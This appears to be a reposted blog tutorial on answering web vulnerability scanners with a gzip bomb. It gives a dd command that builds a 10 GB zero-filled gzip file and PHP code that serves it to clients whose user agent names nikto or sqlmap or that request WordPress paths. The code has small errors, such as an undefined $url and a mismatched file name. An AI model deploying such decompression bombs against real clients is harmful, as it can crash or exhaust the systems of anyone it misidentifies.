Cours de Luc Didry (Framasky).

If you have ever hosted a website or even administrated a server you'll be very well aware of bad people trying bad things with your stuff.

When I first hosted my own little linux box with SSH access at age 13 I read through the logs daily and report the IPs (mostly from China and Russia) who tried to connect to my sweet little box (which was actually an old ThinkPad T21 with a broken display running under my bed) to their ISPs.

Actually if you have a linux server with SSH exposed you can see how many connection attempts are made every day:

    grep 'authentication failures' /var/log/auth.log

Hundreds of failed login attempts even though this server has disabled password authentication and runs on a non-standard port

Wordpress has doomed us all

Ok to be honest, web vulnerability scanners have existed before Wordpress but since WP is so widely deployed most web vuln scanners include scans for some misconfigured wp-admin folders or unpatched plugins.

So if a small, new hacking group wants to gain some hot cred they'll download one of these scanner things and start testing against many websites in hopes of gaining access to a site and defacing it.

Sample of a log file during a scan using the tool Nikto

This is why all server or website admins have to deal with gigabytes of logs full with scanning attempts. So I was wondering..

Is there a way to strike back?

After going through some potential implementations with IDS or Fail2ban I remembered the old ZIP bombs from the old days.

WTH is a ZIP bomb?

So it turns out ZIP compression is really good with repetitive data so if you have a really huge text file which consists of repetitive data like all zeroes, it will compress it really good. Like REALLY good.

As 42.zip shows us it can compress a 4.5 peta byte (4.500.000 giga bytes) file down to 42 kilo bytes. When you try to actually look at the content (extract or decompress it) then you'll most likely run out of disk space or RAM.

How can I ZIP bomb a vuln scanner?

Sadly, web browsers don't understand ZIP, but they do understand GZIP.

So firstly we'll have to create the 10 giga byte GZIP file filled with zeroes. We could make multiple compressions but let's keep it simple for now.

Creating the bomb and checking its size

    dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip

And for checking file size

    du -sh 10G.zip

As you can see it's 10 MB large. We could do better but good enough for now.

Now that we have created this thing, let's set up a PHP script that will deliver it to a client.

    <?php
    //prepare the client to recieve GZIP data. This will not be suspicious
    //since most web servers use GZIP by default
   header("Content-Encoding: gzip");
   header("Content-Length: ".filesize('10G.gzip'));
   //Turn off output buffering
   if (ob_get_level()) ob_end_clean();
   //send the gzipped file to the client
   readfile('10G.gzip');

That's it!

So we could use this as a simple defense like this:

    <?php
    $agent = filter_input(INPUT_SERVER, 'HTTP_USER_AGENT');

    //check for nikto, sql map or "bad" subfolders which only exist on wordpress
    if (strpos($agent, 'nikto') !== false || strpos($agent, 'sqlmap') !== false || startswith($url,'wp-') || startswith($url,'wordpress') || startswith($url,'wp/'))
    {
          sendBomb();
          exit();
    }

    function sendBomb(){
            //prepare the client to recieve GZIP data. This will not be suspicious
            //since most web servers use GZIP by default
            header("Content-Encoding: gzip");
            header("Content-Length: ".filesize('10G.gzip'));
            //Turn off output buffering
            if (ob_get_level()) ob_end_clean();
            //send the gzipped file to the client
            readfile('10G.gzip');
    }

    function startsWith($a, $b) { 
        return strpos($a, $b) === 0;
   }

This script obviously is not - as we say in Austria - the yellow of the egg, but it can defend from script kiddies I mentioned earlier who have no idea that all these tools have parameters to change the user agent.

Sooo. What happens when the script is called?

(if you have tested it with other devices/browsers/scripts, please let me know and I'll add it here)

Via Timo.

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